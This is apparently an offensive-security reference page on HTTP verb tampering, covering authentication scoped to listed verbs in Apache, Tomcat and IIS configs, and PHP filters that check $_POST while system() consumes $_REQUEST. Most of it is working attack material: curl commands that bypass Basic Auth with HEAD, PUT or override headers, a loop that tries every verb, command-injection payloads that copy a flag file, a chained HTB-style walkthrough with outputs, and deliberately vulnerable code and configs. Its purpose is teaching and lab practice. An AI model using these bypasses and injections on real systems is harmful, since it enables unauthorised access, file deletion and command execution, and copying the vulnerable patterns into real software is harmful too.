# HTTP verb tampering

> When auth requirements or input filters are scoped to specific HTTP methods, swap the verb to slip past - bypassing Basic-Auth via HEAD/OPTIONS on `<Limit GET POST>` configs, defeating injection filters that check $_POST but the sink uses $_REQUEST, and reading the misconfigured Apache/Tomcat/IIS directives that enable each pattern.

<!-- Source: codex/web/auth/verb-tampering -->
<!-- Codex offensive-security reference - codex.athenaos.org -->

## TL;DR

HTTP supports nine verbs (GET, POST, HEAD, PUT, DELETE, OPTIONS, PATCH, TRACE, CONNECT). When an app's auth requirement or input filter is scoped to specific verbs but the underlying handler accepts more, swap the verb to bypass:

```
# 1. Probe what verbs the server accepts
curl -i -X OPTIONS http://target/admin/
# Allow: POST,OPTIONS,HEAD,GET    ← HEAD reachable

# 2. Bypass auth scoped to GET/POST by using HEAD (or PUT, DELETE, etc.)
curl -i -X HEAD 'http://target/admin/reset.php?confirm=yes'
# Handler runs; no auth check; no response body (HEAD returns headers only)

# 3. Bypass an input filter that checks only $_POST when the sink uses $_REQUEST
curl 'http://target/create?filename=file;cp%20/flag.txt%20./'
# GET parameter slips past the POST-only filter
```

Success indicator: the protected action's effect happens (file deleted/created, password changed, etc.) without supplying credentials - or a malicious payload is processed despite a filter being "in place."

## Two distinct patterns under one name

The OWASP "HTTP Verb Tampering" label covers two mechanically different mistakes. Knowing which one you're attacking decides which payload works.

| Pattern | Root cause | Where it lives | Typical bypass |
| --- | --- | --- | --- |
| **Auth scoped to specific verbs** | Apache `<Limit GET POST>`, Tomcat `<http-method>`, IIS `verbs="GET"` - the auth directive only applies to listed methods | Server config (`.htaccess`, `web.xml`, `web.config`) | Request with an unlisted verb (`HEAD`, `OPTIONS`, `PUT`) |
| **Filter checks one source, sink uses another** | `preg_match($pattern, $_POST['x'])` to validate, then `system($_REQUEST['x'])` to use | Application code | Move the value to a request component the filter doesn't inspect (GET ↔ POST, header, cookie) |

The first pattern is loud - auth simply doesn't fire. The second is subtle - the filter is intact and active, but the input bypasses it via a different channel.

## Pattern 1 - Authentication scoped to specific verbs

### The vulnerability

An Apache `.htaccess` or vhost stanza:

```apache
<Directory "/var/www/html/admin">
    AuthType Basic
    AuthName "Admin Panel"
    AuthUserFile /etc/apache2/.htpasswd
    <Limit GET POST>
        Require valid-user
    </Limit>
</Directory>
```

The `<Limit GET POST>` block restricts the `Require valid-user` directive to *just* GET and POST. Other verbs reach the handler with no auth check at all.

Equivalent Tomcat `web.xml`:

```xml
<security-constraint>
    <web-resource-collection>
        <url-pattern>/admin/*</url-pattern>
        <http-method>GET</http-method>
        <http-method>POST</http-method>
    </web-resource-collection>
    <auth-constraint>
        <role-name>admin</role-name>
    </auth-constraint>
</security-constraint>
```

Equivalent ASP.NET `web.config`:

```xml
<system.web>
    <authorization>
        <allow verbs="GET,POST" roles="admin"/>
        <deny verbs="GET,POST" users="*"/>
    </authorization>
</system.web>
```

In every case, the auth/authorization directive enumerates verbs. Verbs not enumerated bypass entirely.

### Identifying the attack surface

When a page returns `401 Unauthorized` on direct access, that's where to test:

```shell
$ curl -i http://target/admin/reset.php
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="Admin Panel"
```

Without credentials, probe what the server lets you send via `OPTIONS`:

```shell
$ curl -i -X OPTIONS http://target/admin/
HTTP/1.1 200 OK
Allow: POST,OPTIONS,HEAD,GET
```

The `Allow:` header lists usable verbs. Note that some servers return verbs the *server* supports without checking whether the *application* handles them - both matter. HEAD is the most common bypass target because nearly every server accepts HEAD and most apps treat HEAD identically to GET (the handler runs; only the response body is suppressed).

### Exploiting via HEAD

```shell
# What you can't do as an anonymous user:
$ curl -i -X GET http://target/admin/reset.php
HTTP/1.1 401 Unauthorized

# What you can:
$ curl -i -X HEAD http://target/admin/reset.php
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
```

The HEAD returns 200 with no body. The server didn't run the auth check (because HEAD wasn't in `<Limit GET POST>`), passed the request to the application, and the application processed the action - `reset.php` deleted all files. The lack of response body is fine; the *side effect* is the goal.

For verbs that send a body (PUT, POST, PATCH), the bypass works the same way provided the server allows the verb:

```shell
$ curl -i -X PUT http://target/admin/reset.php -d 'confirm=yes'
HTTP/1.1 200 OK
```

### When HEAD doesn't work

Some servers (and modern frameworks) explicitly map HEAD to GET for auth purposes - the auth check fires on HEAD even if `<Limit>` only lists GET. In that case, try the other verbs:

```shell
for verb in HEAD OPTIONS PUT DELETE PATCH TRACE CONNECT PROPFIND MKCOL COPY MOVE LOCK UNLOCK; do
    code=$(curl -s -o /dev/null -w '%{http_code}' -X "$verb" http://target/admin/reset.php)
    echo "$verb: $code"
done
```

Each `200`/`30x`/`5xx` is interesting; each `401` means the auth check fired. The WebDAV verbs (`PROPFIND`, `MKCOL`, `COPY`, etc.) catch some IIS misconfigurations that miss them entirely.

### Burp Repeater workflow

In Burp:

1. Send the 401-responding request to Repeater
2. Right-click in the request panel → "Change request method" - Burp cycles through methods, automatically adding `Content-Type` and `Content-Length` headers when switching to POST/PUT/PATCH
3. Send; observe the response

The "Change request method" feature is the right form here because manually editing the verb often forgets that POST needs a body and the right Content-Type header - and missing those produces 400 responses that look like auth failures but aren't.

## Pattern 2 - Filter checks one source, sink uses another

### The vulnerability

```php
if (isset($_REQUEST['filename'])) {
    if (!preg_match('/[^A-Za-z0-9. _-]/', $_POST['filename'])) {
        system("touch " . $_REQUEST['filename']);
    } else {
        echo "Malicious Request Denied!";
    }
}
```

Walk through what each line does:

- Line 1: `$_REQUEST['filename']` - checks if a filename param exists in *any* of GET/POST/COOKIE
- Line 2: filter runs against `$_POST['filename']` - looks at only POST
- Line 3: `system()` uses `$_REQUEST['filename']` - back to any of GET/POST/COOKIE

The mismatch: the validator inspects POST, but the dangerous sink consumes any source. Sending the malicious value via GET means `$_POST['filename']` is empty (clean), the regex passes, and `$_REQUEST['filename']` (which sees GET) reaches `system()` with the unsanitized input.

### Identifying the surface

Pattern 2 is subtle in a black-box test because the filter genuinely works for the input you usually send. You only see it when you happen to switch verbs and notice the filter stopped firing.

Indicators:

- A form posts to an endpoint. POSTing malicious content blocks. The *same* endpoint accessed via GET (just adding the form data as query parameters) doesn't block.
- An error message appears for some inputs but not others, and the difference correlates with HTTP method rather than content.
- An endpoint advertised as POST-only handles GET requests just fine when probed.

### Exploiting

The original (blocked) attempt:

```http
POST /create.php HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

filename=file;%20touch%20pwn
```

Response: `Malicious Request Denied!`

The bypass - move the parameter to the query string:

```shell
$ curl 'http://target/create.php?filename=file;%20touch%20pwn'
```

The PHP filter looks at `$_POST['filename']` (empty), regex passes, `$_REQUEST['filename']` (which sees the GET parameter) flows into `system()` - command injection achieved.

For HTB-style scenarios that want both a benign file and an injected command:

```
filename=file;%20cp%20/flag.txt%20./
```

After the request, `flag.txt` appears in the web root.

### Burp's "Change Request Method"

The cleanest way is in Burp:

1. Intercept the blocked POST
2. Right-click → Change request method → POST flips to GET; body parameters move to the query string
3. Forward

Burp handles the format conversion correctly. Doing it manually means remembering to URL-encode the value, drop Content-Type/Length headers, and reformat the request line.

### Variants of the same bug

The same mistake appears in other languages:

| Language | Validates only on... | Sink uses... |
| --- | --- | --- |
| PHP | `$_POST`, `$_GET`, `$_COOKIE` | `$_REQUEST` |
| Java (Servlet) | `request.getParameterValues()` on form data | `request.getParameter()` (any source) |
| Node.js (Express) | `req.body.x` | `req.query.x \|\| req.body.x` |
| ASP.NET | `Request.Form["x"]` | `Request["x"]` (any source) |
| Rails | `params.permit(...)` filtered out of `params[:body]` | `params[:x]` (still includes query) |

The pattern generalizes to non-verb-based source confusion too - cookie-based override of a header check, header-based override of a body check, multipart-vs-form-encoded confusion. Anywhere the validator looks at one source and the sink looks at a broader set, the bypass is to move the value.

## A combined-pattern walkthrough

The HTB-style scenario combines both patterns and is worth tracing.

The app is a File Manager with two protected operations:

- `POST /create.php` accepts `filename` and runs `touch $filename`
- `GET /admin/reset.php` requires Basic Auth and deletes all files

Operator path:

```shell
# Step 1: Confirm the auth scope
$ curl -i http://target/admin/reset.php
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="Admin Panel"

# Step 2: Probe allowed verbs
$ curl -i -X OPTIONS http://target/
Allow: POST,OPTIONS,HEAD,GET

# Step 3: Auth bypass via HEAD
$ curl -i -X HEAD http://target/admin/reset.php
HTTP/1.1 200 OK
# (All files now deleted)

# Step 4: For the injection-filter bypass, the original POST gets blocked
$ curl -X POST http://target/create.php -d 'filename=file;touch%20pwn'
Malicious Request Denied!

# Step 5: GET bypasses the filter
$ curl 'http://target/create.php?filename=file;%20touch%20pwn'
# (Both 'file' and 'pwn' files created)

# Step 6: Combine - read /flag via the GET injection
$ curl 'http://target/create.php?filename=file;%20cp%20/flag.txt%20./'
# Flag now in web root, fetch it
$ curl http://target/flag.txt
HTB{...}
```

Two different verb-tampering bugs in one app. Each enables a separate primitive; chained, they yield arbitrary file read.

## Edge cases worth knowing

### HTTP method override headers

Some apps respect `X-HTTP-Method-Override`, `X-HTTP-Method`, or `X-Method-Override` headers for legacy or REST-API reasons:

```shell
curl -X POST http://target/admin/reset.php \
     -H 'X-HTTP-Method-Override: GET'
```

The actual request is POST (avoiding the GET-auth check) but the app routes it as GET (executing the action). Rails, Symfony, Spring, and some Express middlewares enable this by default. Worth probing on any app that fails the simple HEAD bypass.

### Method-as-body-parameter

Same idea, different vehicle. Some frameworks accept the method via a body parameter:

```http
POST /admin/reset.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

_method=DELETE
```

This is Rails's `_method` convention. The request line is POST (so the server-level auth scoping on DELETE doesn't fire) but Rails treats the request as DELETE downstream.

### TRACE for header reflection

`TRACE` echoes the request back. Where allowed, that reflects cookies set by intermediate proxies - relevant for some XST (Cross-Site Tracing) attacks against `HttpOnly` cookies. Most servers disable TRACE for this reason; if a target permits it, that itself is a finding.

### Verb tampering vs HTTP request smuggling

Adjacent technique with the same family resemblance. Smuggling exploits inconsistencies between a frontend proxy and backend server in how request boundaries are parsed. Verb tampering exploits inconsistencies in how a single component parses the verb. Both rely on "two parsers disagree" but at different layers.

## Defensive notes

For each pattern, the fix tells you what to look for as an attacker:

| Pattern | Operator-side observation |
| --- | --- |
| `<Limit GET POST>` | Look for `<Limit>` directives (Apache), enumerated `<http-method>` (Tomcat), or `verbs="GET"` (IIS) in any leaked config - they signal scoping mistakes |
| `<LimitExcept>` (correct form) | This is the *secure* directive; if you see it, the bypass via alternate verbs is closed |
| `Allow:` lists in OPTIONS responses | If `Allow:` lists fewer verbs than you'd expect, the server is rejecting at the HTTP layer - bypass paths are narrower |
| Method override headers | Servers that respect `X-HTTP-Method-Override` may be patched at the framework level but not at the application level (or vice versa) - try both layers |

## Quick reference

| Task | Command / pattern |
| --- | --- |
| Probe allowed verbs | `curl -i -X OPTIONS http://target/path/` |
| Auth bypass via HEAD | `curl -i -X HEAD http://target/protected/action` |
| Auth bypass via OPTIONS | `curl -i -X OPTIONS http://target/protected/action` |
| Auth bypass via PUT/DELETE | `curl -i -X PUT http://target/path -d 'data'` |
| Filter bypass POST → GET | Move body params to query string |
| Burp method swap | Right-click request → Change request method |
| Method override header | `-H 'X-HTTP-Method-Override: DELETE'` |
| Method override body param | `_method=DELETE` (Rails / some Express) |
| Iterate every verb | Loop over `HEAD OPTIONS PUT DELETE PATCH TRACE PROPFIND MKCOL COPY MOVE LOCK UNLOCK` |
| Vulnerable Apache directive | `<Limit GET POST>...<Require>...</Limit>` |
| Vulnerable Tomcat directive | `<http-method>GET</http-method>` in `<security-constraint>` |
| Vulnerable IIS directive | `<allow verbs="GET" roles="..."/>` in `<authorization>` |
| Vulnerable PHP filter pattern | filter checks `$_POST['x']`, sink uses `$_REQUEST['x']` |
| Bypass via cookie source | Same pattern - value in `Cookie` reaches `$_REQUEST` but bypasses `$_POST` check |

For the related cookie-attribute attacks see [Cookie tampering](/codex/web/auth/cookie-tampering/). For session-fixation patterns that often appear alongside misconfigured auth see [Session fixation](/codex/web/auth/session-fixation/).